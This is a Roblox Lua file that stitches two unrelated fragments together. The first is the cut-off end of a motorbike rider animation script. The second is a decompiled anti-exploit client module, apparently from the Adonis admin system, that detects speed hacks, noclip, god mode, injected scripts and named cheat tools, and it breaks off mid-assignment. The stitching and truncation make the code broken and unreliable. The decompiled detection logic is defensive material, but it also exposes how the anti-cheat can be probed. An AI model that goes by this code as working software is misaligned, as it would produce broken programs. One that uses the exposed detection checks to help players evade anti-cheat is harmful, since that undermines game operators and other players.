ZR15RightArmPointZero*(1-.1)+-(ZR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-(YR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+-(XR15RightArmTuckIn*script.Parent.Values.Throttle.Value)*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-(R15RightElbowTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+-(ZR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-(XR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-(YR15LeftLegTuckIn*script.Parent.Values.Throttle.Value)*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-(R15LeftKneeTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-(ZR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-(YR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-(XR15LeftArmTuckIn*script.Parent.Values.Throttle.Value)*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-(R15LeftElbowTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)+-(ZR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+-(XR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-(YR15LowerTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-(ZR15UpperTorsoTuckIn*script.Parent.Values.Throttle.Value)*.1 else --idle bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle = bike.Misc.Anims.R15.RightLeg.Foot.I.M.CurrentAngle*(1-.18)+-1*.18 ZR15RightLegPointZero = ZR15RightLegPointZero*(1-.1)+-0.6*.1 XR15RightLegPointZero = XR15RightLegPointZero*(1-.18)+.8*.18 YR15RightLegPointZero = YR15RightLegPointZero*(1-.1)+-0.4*.1 R15RightKneePointZero = R15RightKneePointZero*(1-.18)+1.8*.18 ZR15RightArmPointZero = ZR15RightArmPointZero*(1-.1)+-0.25*.1 YR15RightArmPointZero = YR15RightArmPointZero*(1-.1)+-0.3*.1 XR15RightArmPointZero = XR15RightArmPointZero*(1-.1)+0.12*.1 R15RightElbowPointZero = R15RightElbowPointZero*(1-.1)+-0.25*.1 ZR15LeftLegPointZero = ZR15LeftLegPointZero*(1-.1)+.05*.1 XR15LeftLegPointZero = XR15LeftLegPointZero*(1-.1)+-0.15*.1 YR15LeftLegPointZero = YR15LeftLegPointZero*(1-.1)+-0.5*.1 R15LeftKneePointZero = R15LeftKneePointZero*(1-.1)+-.5*.1 ZR15LeftArmPointZero = ZR15LeftArmPointZero*(1-.1)+-0*.1 YR15LeftArmPointZero = YR15LeftArmPointZero*(1-.1)+-0.4*.1 XR15LeftArmPointZero = XR15LeftArmPointZero*(1-.1)+-0.05*.1 R15LeftElbowPointZero = R15LeftElbowPointZero*(1-.1)+-0.1*.1 ZR15LowerTorsoPointZero = ZR15LowerTorsoPointZero*(1-.1)-0*.1 XR15LowerTorsoPointZero = XR15LowerTorsoPointZero*(1-.1)+.25*.1 YR15LowerTorsoPointZero = YR15LowerTorsoPointZero*(1-.1)+-0.15*.1 ZR15UpperTorsoPointZero = ZR15UpperTorsoPointZero*(1-.1)+-0*.1 end if Lean > 0 then --right lean bike.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegRightLean*math.abs(Lean))/-ZR15RightLegRightLeanD)*ZR15RightLegRightLeanM bike.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegRightLean*math.abs(Lean))/-XR15RightLegRightLeanD)*XR15RightLegRightLeanM bike.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegRightLean*math.abs(Lean))/-YR15RightLegRightLeanD)*YR15RightLegRightLeanM bike.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeRightLean*math.abs(Lean))/-R15RightKneeRightLeanD)*R15RightKneeRightLeanM bike.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmRightLean*math.abs(Lean))/-ZR15RightArmRightLeanD)*ZR15RightArmRightLeanM bike.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmRightLean*math.abs(Lean))/-XR15RightArmRightLeanD)*XR15RightArmRightLeanM bike.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmRightLean*math.abs(Lean))/-YR15RightArmRightLeanD)*YR15RightArmRightLeanM bike.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowRightLean*math.abs(Lean))/-R15RightElbowRightLeanD)*R15RightElbowRightLeanM bike.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegRightLean*math.abs(Lean))/-ZR15LeftLegRightLeanD)*ZR15LeftLegRightLeanM bike.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegRightLean*math.abs(Lean))/-XR15LeftLegRightLeanD)*XR15LeftLegRightLeanM bike.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegRightLean*math.abs(Lean))/-YR15LeftLegRightLeanD)*YR15LeftLegRightLeanM bike.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeRightLean*math.abs(Lean))/-R15LeftKneeRightLeanD)*R15LeftKneeRightLeanM bike.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmRightLean*math.abs(Lean))/-ZR15LeftArmRightLeanD)*ZR15LeftArmRightLeanM bike.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmRightLean*math.abs(Lean))/-XR15LeftArmRightLeanD)*XR15LeftArmRightLeanM bike.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmRightLean*math.abs(Lean))/-YR15LeftArmRightLeanD)*YR15LeftArmRightLeanM bike.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowRightLean*math.abs(Lean))/-R15LeftElbowRightLeanD)*R15LeftElbowRightLeanM bike.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoRightLean*math.abs(Lean))/-ZR15LowerTorsoRightLeanD)*ZR15LowerTorsoRightLeanM bike.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoRightLean*math.abs(Lean))/-XR15LowerTorsoRightLeanD)*XR15LowerTorsoRightLeanM bike.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoRightLean*math.abs(Lean))/-YR15LowerTorsoRightLeanD)*YR15LowerTorsoRightLeanM bike.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoRightLean*math.abs(Lean))/-ZR15UpperTorsoRightLeanD)*ZR15UpperTorsoRightLeanM else --left lean bike.Misc.Anims.R15.RightLeg.Foot.Z.M.CurrentAngle = ((ZR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightLegLeftLean*math.abs(Lean))/-ZR15RightLegLeftLeanD)*ZR15RightLegLeftLeanM bike.Misc.Anims.R15.RightLeg.Foot.X.M.CurrentAngle = ((XR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightLegLeftLean*math.abs(Lean))/-XR15RightLegLeftLeanD)*XR15RightLegLeftLeanM bike.Misc.Anims.R15.RightLeg.Foot.Y.M.CurrentAngle = ((YR15RightLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightLegLeftLean*math.abs(Lean))/-YR15RightLegLeftLeanD)*YR15RightLegLeftLeanM bike.Misc.Anims.R15.RightLeg.UpperLeg.X.M.CurrentAngle = ((R15RightKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightKneeLeftLean*math.abs(Lean))/-R15RightKneeLeftLeanD)*R15RightKneeLeftLeanM bike.Misc.Anims.R15.RightArm.Hand.Z.M.CurrentAngle = ((ZR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15RightArmLeftLean*math.abs(Lean))/-ZR15RightArmLeftLeanD)*ZR15RightArmLeftLeanM bike.Misc.Anims.R15.RightArm.Hand.X.M.CurrentAngle = ((XR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15RightArmLeftLean*math.abs(Lean))/-XR15RightArmLeftLeanD)*XR15RightArmLeftLeanM bike.Misc.Anims.R15.RightArm.Hand.Y.M.CurrentAngle = ((YR15RightArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15RightArmLeftLean*math.abs(Lean))/-YR15RightArmLeftLeanD)*YR15RightArmLeftLeanM bike.Misc.Anims.R15.RightArm.UpperArm.X.M.CurrentAngle = ((R15RightElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15RightElbowLeftLean*math.abs(Lean))/-R15RightElbowLeftLeanD)*R15RightElbowLeftLeanM bike.Misc.Anims.R15.LeftLeg.Foot.Z.M.CurrentAngle = ((ZR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftLegLeftLean*math.abs(Lean))/-ZR15LeftLegLeftLeanD)*ZR15LeftLegLeftLeanM bike.Misc.Anims.R15.LeftLeg.Foot.X.M.CurrentAngle = ((XR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftLegLeftLean*math.abs(Lean))/-XR15LeftLegLeftLeanD)*XR15LeftLegLeftLeanM bike.Misc.Anims.R15.LeftLeg.Foot.Y.M.CurrentAngle = ((YR15LeftLegPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftLegLeftLean*math.abs(Lean))/-YR15LeftLegLeftLeanD)*YR15LeftLegLeftLeanM bike.Misc.Anims.R15.LeftLeg.UpperLeg.X.M.CurrentAngle = ((R15LeftKneePointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftKneeLeftLean*math.abs(Lean))/-R15LeftKneeLeftLeanD)*R15LeftKneeLeftLeanM bike.Misc.Anims.R15.LeftArm.Hand.Z.M.CurrentAngle = ((ZR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LeftArmLeftLean*math.abs(Lean))/-ZR15LeftArmLeftLeanD)*ZR15LeftArmLeftLeanM bike.Misc.Anims.R15.LeftArm.Hand.X.M.CurrentAngle = ((XR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LeftArmLeftLean*math.abs(Lean))/-XR15LeftArmLeftLeanD)*XR15LeftArmLeftLeanM bike.Misc.Anims.R15.LeftArm.Hand.Y.M.CurrentAngle = ((YR15LeftArmPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LeftArmLeftLean*math.abs(Lean))/-YR15LeftArmLeftLeanD)*YR15LeftArmLeftLeanM bike.Misc.Anims.R15.LeftArm.UpperArm.X.M.CurrentAngle = ((R15LeftElbowPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(R15LeftElbowLeftLean*math.abs(Lean))/-R15LeftElbowLeftLeanD)*R15LeftElbowLeftLeanM bike.Misc.Anims.R15.Torso.LowerTorso.Z.M.CurrentAngle = ((ZR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15LowerTorsoLeftLean*math.abs(Lean))/-ZR15LowerTorsoLeftLeanD)*ZR15LowerTorsoLeftLeanM bike.Misc.Anims.R15.Torso.LowerTorso.X.M.CurrentAngle = ((XR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(XR15LowerTorsoLeftLean*math.abs(Lean))/-XR15LowerTorsoLeftLeanD)*XR15LowerTorsoLeftLeanM bike.Misc.Anims.R15.Torso.LowerTorso.Y.M.CurrentAngle = ((YR15LowerTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(YR15LowerTorsoLeftLean*math.abs(Lean))/-YR15LowerTorsoLeftLeanD)*YR15LowerTorsoLeftLeanM bike.Misc.Anims.R15.Torso.UpperTorso.Z.M.CurrentAngle = ((ZR15UpperTorsoPointZero*math.max(-((math.abs(Lean)*2)-1),0))+(ZR15UpperTorsoLeftLean*math.abs(Lean))/-ZR15UpperTorsoLeftLeanD)*ZR15UpperTorsoLeftLeanM end end end
-- Decompiled with the Synapse X Luau decompiler.
client = nil; service = nil; cPcall = nil; Pcall = nil; Routine = nil; GetEnv = nil; origEnv = nil; logError = nil; return function() local u1 = nil; local u2 = nil; local u3 = nil; local u4 = nil; local l__LocalPlayer__1 = service.Players.LocalPlayer; getfenv().client = nil; getfenv().service = nil; getfenv().script = nil; local l__NetworkClient__5 = service.NetworkClient; local l__pcall__6 = pcall; local l__Send__7 = client.Remote.Send; local l__wait__8 = wait; local l__service__9 = service; local l__Disconnect__10 = client.Disconnect; local l__Kill__11 = client.Kill; local l__tostring__12 = tostring; local l__getfenv__13 = getfenv; local u14 = tostring(getfenv); local l__type__15 = type; local v2 = {}; local l__workspace__16 = workspace; local l__tonumber__17 = tonumber; local function u18(p1, p2) if l__NetworkClient__5 then l__pcall__6(l__Send__7, "Detected", p1, p2); l__wait__8(0.5); if p1 == "kick" then if not l__service__9.RunService:IsStudio() then l__Disconnect__10(p2); return; end; elseif p1 == "crash" then l__Kill__11(p2); end; end; end; function v2.Speed(p3) l__service__9.StartLoop("AntiSpeed", 1, function() if l__tonumber__17(p3.Speed) < l__workspace__16:GetRealPhysicsFPS() then u18("kill", "Speed exploiting"); end; end); end; local l__pairs__19 = pairs; local l__print__20 = print; function v2.LockLighting(p4) local u21 = false; local u22 = { Ambient = l__service__9.Lighting.Ambient, Brightness = l__service__9.Lighting.Brightness, ColorShift_Bottom = l__service__9.Lighting.ColorShift_Bottom, ColorShift_Top = l__service__9.Lighting.ColorShift_Top, GlobalShadows = l__service__9.Lighting.GlobalShadows, OutdoorAmbient = l__service__9.Lighting.OutdoorAmbient, Outlines = l__service__9.Lighting.Outlines, ShadowColor = l__service__9.Lighting.ShadowColor, GeographicLatitude = l__service__9.Lighting.GeographicLatitude, Name = l__service__9.Lighting.Name, TimeOfDay = l__service__9.Lighting.TimeOfDay, FogColor = l__service__9.Lighting.FogColor, FogEnd = l__service__9.Lighting.FogEnd, FogStart = l__service__9.Lighting.FogStart }; Routine(function() while true do if not u21 then for v3, v4 in l__pairs__19(u22) do if l__service__9.Lighting[v3] ~= nil then u22[v3] = l__service__9.Lighting[v3]; end; end; end; l__wait__8(1); end; end); u3.LightingChanged = false; local u23 = false; local function u24(p5) if u3.LightingChanged then return true; end; if l__service__9.Lighting[p5] == nil or u22[p5] == nil then return; end; u23 = true; l__service__9.Lighting[p5] = u22[p5]; u23 = false; l__wait__8(0.01); if p5 ~= u2.LastChanges.Lighting then return false; end; u23 = true; l__service__9.Lighting[p5] = l__service__9.Lighting[p5]; u23 = false; return true; end; l__service__9.Lighting.Changed:connect(function(p6) u21 = true; if not u23 then if u24(p6) then l__print__20("SERVER CHANGED IT"); else l__print__20("CLIENT CHANGED IT"); end; end; u21 = false; end); end; local l__game__25 = game; local l__rawequal__26 = rawequal; local l__string__27 = string; local l__Remote__28 = client.Remote; function v2.ReplicationLogs() local l__FilteringEnabled__29 = l__workspace__16.FilteringEnabled; local function u30(p7, p8) local u31 = nil; l__pcall__6(function() u31 = p7:GetFullName(); end); if not u31 then return true; end; local v5 = p7:GetFullName(); for v6, v7 in l__pairs__19({ l__service__9.InsertService, l__service__9.TweenService, l__service__9.GamepadService, l__service__9.Workspace.CurrentCamera, l__service__9.LocalContainer(), l__service__9.Player, l__service__9.Player.Character }) do if v7 then if l__rawequal__26(p7, v7) then return true; end; if p7:IsDescendantOf(v7) then return true; end; end; end; for v8, v9 in l__pairs__19({ "TouchTransmitter" }) do if p7:IsA(v9) then return true; end; end; for v10, v11 in l__pairs__19((l__service__9.Players:GetPlayers())) do if v11 then if p7:IsDescendantOf(v11) then return true; end; if v11.Character and p7:IsDescendantOf(v11.Character) then return true; end; end; end; local v12 = p7; local v13 = 1 - 1; while v12 do if p8 and v12:IsA(p8) then if not l__string__27.find(v12.Name, "ADONIS") then return true; end; if not v12:IsA("LocalScript") then return true; end; end; v12 = p7.Parent; if 0 <= 1 then if not (v13 < 50) then return false; end; elseif not (v13 > 50) then return false; end; v13 = v13 + 1; end; return false; end; l__game__25.DescendantAdded:Connect(function(p9) if not l__FilteringEnabled__29 and not u30(p9) then l__Remote__28.Fire("AddReplication", "Created", p9, { obj = p9, name = p9.Name, class = p9.ClassName, parent = p9.Parent, path = p9:GetFullName() }); end; end); l__game__25.DescendantRemoving:Connect(function(p10) if not l__FilteringEnabled__29 and not u30(p10) then local v14 = { obj = p10, name = p10.Name, class = p10.ClassName, parent = p10.Parent, path = p10:GetFullName() }; if p10 and p10.Parent then local u32 = nil; u32 = p10.Parent.ChildRemoved:connect(function(p11) if l__rawequal__26(p10, p11) then l__Remote__28.Fire("AddReplication", "Destroyed", p10, v14); u32:disconnect(); end; end); l__wait__8(5); if u32 then u32:disconnect(); end; return; else l__Remote__28.Fire("AddReplication", "Destroyed", p10, v14); end; end; end); end; function v2.NameId(p12) local l__RealName__33 = p12.RealName; local l__RealID__34 = p12.RealID; l__service__9.StartLoop("NameIDCheck", 10, function() if l__service__9.Player.Name ~= l__RealName__33 then u18("log", "Local username does not match server username"); end; if l__service__9.Player.userId ~= l__RealID__34 then u18("log", "Local userID does not match server userID"); end; end); end; function v2.AntiGui(p13) l__service__9.Player.DescendantAdded:connect(function(p14) if p14:IsA("GuiMain") or p14:IsA("PlayerGui") and l__rawequal__26(p14.Parent, l__service__9.PlayerGui) and not u1.Get(p14) then p14:Destroy(); u18("log", "Unknown GUI detected and destroyed"); end; end); end; local l__client__35 = client; local l__Enum__36 = Enum; function v2.AntiTools(p15) if l__service__9.Player:WaitForChild("Backpack", 120) then local l__BTools__15 = p15.BTools; local l__AllowedList__16 = p15.AllowedList; local l__AntiTools__37 = p15.AntiTools; local function v17(p16) if (p16:IsA("Tool") or p16:IsA("HopperBin")) and not p16:FindFirstChild(u3.CodeName) then if l__client__35.AntiBuildingTools and p16:IsA("HopperBin") and (not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Grab)) or not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Clone)) or not (not l__rawequal__26(p16.BinType, l__Enum__36.BinType.Hammer)) or l__rawequal__26(p16.BinType, l__Enum__36.BinType.GameTool)) then p16.Active = false; p16:Destroy(); u18("log", "Building tools detected"); end; if l__AntiTools__37 then local v18 = false; for v19, v20 in l__pairs__19(l__client__35.AllowedToolsList) do if p16.Name == v20 then v18 = true; end; end; if not v18 then p16:Destroy(); u18("log", "Tool detected"); end; end; end; end; for v21, v22 in l__pairs__19(l__service__9.Player.Backpack:children()) do v17(v22); end; l__service__9.Player.Backpack.ChildAdded:connect(v17); end; end; function v2.HumanoidState(p17) l__wait__8(1); local l__Humanoid__23 = l__service__9.Player.Character:WaitForChild("Humanoid"); local u38 = true; local u39 = nil; u39 = l__Humanoid__23.StateChanged:connect(function(p18, p19) if not u38 then u39:disconnect(); end; if l__rawequal__26(p19, l__Enum__36.HumanoidStateType.StrafingNoPhysics) and u38 then u38 = false; u18("kill", "Noclipping"); u39:disconnect(); end; end); while l__Humanoid__23 and l__Humanoid__23.Parent and l__Humanoid__23.Parent.Parent and u38 do if not l__wait__8(0.1) then break; end; if l__rawequal__26(l__Humanoid__23:GetState(), l__Enum__36.HumanoidStateType.StrafingNoPhysics) and u38 then u38 = false; u18("kill", "Noclipping"); end; end; end; function v2.Paranoid(p20) l__wait__8(1); local l__Character__24 = l__service__9.Player.Character; local l__Head__25 = l__Character__24:WaitForChild("Head"); local l__HumanoidRootPart__26 = l__Character__24:WaitForChild("HumanoidRootPart"); local l__Humanoid__27 = l__Character__24:WaitForChild("Humanoid"); while l__Head__25 and l__HumanoidRootPart__26 and l__rawequal__26(l__Head__25.Parent, l__Character__24) and l__rawequal__26(l__HumanoidRootPart__26.Parent, l__Character__24) do if l__Character__24.Parent == nil then break; end; if not (l__Humanoid__27.Health > 0) then break; end; if not l__Humanoid__27 then break; end; if not l__Humanoid__27.Parent then break; end; if not l__wait__8(1) then break; end; if (l__HumanoidRootPart__26.Position - l__Head__25.Position).magnitude > 10 and l__Humanoid__27 and l__Humanoid__27.Health > 0 then u18("kill", "HumanoidRootPart too far from Torso (Paranoid?)"); end; end; end; local l__select__40 = select; local l__tick__41 = tick; local l__next__42 = next; local l__warn__43 = warn; local l__loadstring__44 = loadstring; local l__Instance__45 = Instance; function v2.MainDetection(p21) local v28 = l__tick__41(); local v29 = l__tick__41(); local u46 = { "current identity is 0", "gui made by kujo", "tetanus reloaded hooked" }; local u47 = { ["C:RC7\rc7.dat"] = true }; local function u48(p22) for v30, v31 in l__pairs__19(l__service__9.LogService:GetLogHistory()) do if l__string__27.find(l__string__27.lower(v31.message), l__string__27.lower(p22)) then return true; end; end; end; local u49 = {}; local u50 = l__select__40(2, l__pcall__6(l__service__9.RunService.IsStudio, l__service__9.RunService)); local l__FindService__51 = l__service__9.DataModel.FindService; local l__DataModel__52 = l__service__9.DataModel; local function v32(p23) if not l__pcall__6(function() if not u50 and (l__FindService__51("ServerStorage", l__DataModel__52) or l__FindService__51("ServerScriptService", l__DataModel__52)) then u18("crash", "Disallowed Services Detected"); end; end) then u18("kick", "Finding Error"); end; end; v32(); l__service__9.DataModel.ChildAdded:connect(v32); local u53 = v29; l__service__9.Players.PlayerAdded:connect(function(p24) u53 = l__tick__41(); end); local u54 = {}; local u55 = { FriendStatus = true, ImageButton = false, ButtonHoverText = true, HoverMid = true, HoverLeft = true, HoverRight = true, ButtonHoverTextLabel = true, Icon = true, ImageLabel = true, NameLabel = true, Players = true, ColumnValue = true, ColumnName = true, Frame = false, StatText = false }; l__service__9.Events.CharacterRemoving:connect(function() for v33, v34 in l__next__42, u54 do if u55[v33] then u54[v33] = 0; end; end; end); l__service__9.GuiService.MenuClosed:connect(function() menuOpen = false; end); l__service__9.GuiService.MenuOpened:connect(function() menuOpen = true; end); l__service__9.ScriptContext.ChildAdded:connect(function(p25) if u2.GetClassName(p25) == "LocalScript" then u18("kick", "Localscript Detected; " .. l__tostring__12(p25)); end; end); l__service__9.ReplicatedFirst.ChildAdded:connect(function(p26) if u2.GetClassName(p26) == "LocalScript" then u18("kick", "Localscript Detected; " .. l__tostring__12(p26)); end; end); local function u56(p27) for v35, v36 in l__pairs__19(u46) do if l__string__27.find(l__string__27.lower(p27), l__string__27.lower(v36)) and not l__string__27.find(l__string__27.lower(p27), "failed to load") then return true; end; end; end; l__service__9.LogService.MessageOut:connect(function(p28, p29) if u56(p28) then u18("crash", "Exploit detected; " .. p28); end; end); l__service__9.Selection.SelectionChanged:connect(function() u18("kick", "Selection changed"); end); l__service__9.ScriptContext.Error:Connect(function(p30, p31, p32) if p32 and l__tostring__12(p32) == "tpircsnaisyle" then u18("kick", "Elysian"); return; end; if not p32 or not p31 or p31 == "" then local v37 = l__service__9.LogService:GetLogHistory(); local v38 = false; if p32 then for v39, v40 in l__next__42, v37 do if v40.message == p30 and v37[v39 + 1] and v37[v39 + 1].message == p31 then v38 = true; end; end; else v38 = true; end; if v38 then if not l__string__27.find(l__tostring__12(p31), "CoreGui") then if not (not l__string__27.find(l__tostring__12(p31), "PlayerScripts")) or not (not l__string__27.find(l__tostring__12(p31), "Animation_Scripts")) or l__string__27.match(l__tostring__12(p31), "^(%S*)%.(%S*)") then return; end; u18("log", "Traceless/Scriptless error"); else return; end; end; end; end); l__service__9.NetworkClient.ChildRemoved:connect(function(p33) l__wait__8(30); l__client__35.Kill("Client disconnected from server"); end); local u57 = v28; l__service__9.RunService.Stepped:connect(function() u57 = l__tick__41(); end); if l__service__9.Player:WaitForChild("Backpack", 120) then l__service__9.Player.Backpack.ChildAdded:connect(function(p34) if (p34:IsA("Tool") or p34:IsA("HopperBin")) and not p34:FindFirstChild(u3.CodeName) and (l__service__9.Player:FindFirstChild("Backpack") and p34:IsDescendantOf(l__service__9.Player.Backpack) and p34:IsA("HopperBin")) and (not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Grab)) or not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Clone)) or not (not l__rawequal__26(p34.BinType, l__Enum__36.BinType.Hammer)) or l__rawequal__26(p34.BinType, l__Enum__36.BinType.GameTool)) then u18("log", "Building tools detected; " .. l__tostring__12(p34.BinType)); end; end); end; l__service__9.StartLoop("Detection", 10, function() if l__tick__41() - u57 > 60 then u18("crash", "Events stopped"); end; if l__service__9.Player.Parent ~= l__service__9.Players then u18("crash", "Parent not players"); end; local v41, v42 = l__pcall__6(function() l__service__9.ScriptContext.Name = "ScriptContext"; end); if not v41 then u18("log", "ScriptContext error?"); end; local v43, v44 = l__service__9.LogService:GetLogHistory(); while true do local v45, v46 = l__next__42(v43, v44); if not v45 then break; end; v44 = v45; if u56(v46.message) then u18("crash", "Exploit detected"); end; end; local v47, v48 = l__pcall__6(function() local v49, v50 = l__loadstring__44("print('LOADSTRING TEST')"); end); if v47 then u18("crash", "Exploit detected; Loadstring usable"); end; local v51, v52 = l__pcall__6(function() l__Instance__45.new("StringValue").RobloxLocked = true; end); if v51 then u18("crash", "RobloxLocked usable"); end; end); end; local l__math__58 = math; local l__Vector3__59 = Vector3; local l__CFrame__60 = CFrame; function v2.AntiDeleteTool(p35) local v53 = l__math__58.random(1000, 999999) .. "b"; local v54 = l__client__35.Deps.AntiDelete:Clone(); v54.Name = v53; v54.CanCollide = false; v54.Anchored = true; v54.Size = l__Vector3__59.new(3, 3, 3); v54.CFrame = l__workspace__16.CurrentCamera.CoordinateFrame; v54.Parent = l__workspace__16.CurrentCamera; v54.Transparency = 1; local u61 = nil; local u62 = v54; local function u63() u61 = l__workspace__16.CurrentCamera; u61.Changed:connect(function(p36) if u61.Parent ~= l__service__9.Workspace then u63(); end; end); u61.ChildRemoved:connect(function(p37) if p37 == u62 or not u62 or not u62.Parent or u62.Parent ~= l__workspace__16.CurrentCamera then u62 = l__client__35.Deps.AntiDelete:Clone(); u62.Name = v53; u62.CanCollide = false; u62.Anchored = true; u62.Size = l__Vector3__59.new(3, 3, 3); u62.CFrame = l__workspace__16.CurrentCamera.CoordinateFrame; u62.Parent = l__workspace__16.CurrentCamera; u62.Transparency = 1; u18("log", "Attempting to Delete"); end; end); end; u63(); l__service__9.StartLoop("AntiDeleteTool", "RenderStepped", function() local v55 = l__service__9.Workspace.CurrentCamera:FindFirstChild(v53); if v55 then v55.CFrame = l__service__9.Workspace.CurrentCamera.CoordinateFrame * l__CFrame__60.Angles(0, 1.5, 0); end; end); end; function v2.AntiGod(p38) local l__Humanoid__56 = l__service__9.Player.Character:WaitForChild("Humanoid"); local u64 = true; l__service__9.Player.Character.Humanoid.Died:connect(function() u64 = false; end); local u65 = nil; u65 = l__service__9.Player.Character.Humanoid.Changed:connect(function(p39) if not u64 or l__Humanoid__56 == nil then u65:disconnect(); return; end; if l__tostring__12(l__service__9.Player.Character.Humanoid.Health) == "-1.#IND" then u18("kill", "Infinite Health [Godded]"); end; end); l__service__9.Player.Character.Humanoid.Health = l__service__9.Player.Character.Humanoid.Health - 1; end; u2 = l__service__9.ReadOnly({ LastChanges = { Lighting = {} }, Init = function() u1 = client.UI; u2 = client.Anti; u3 = 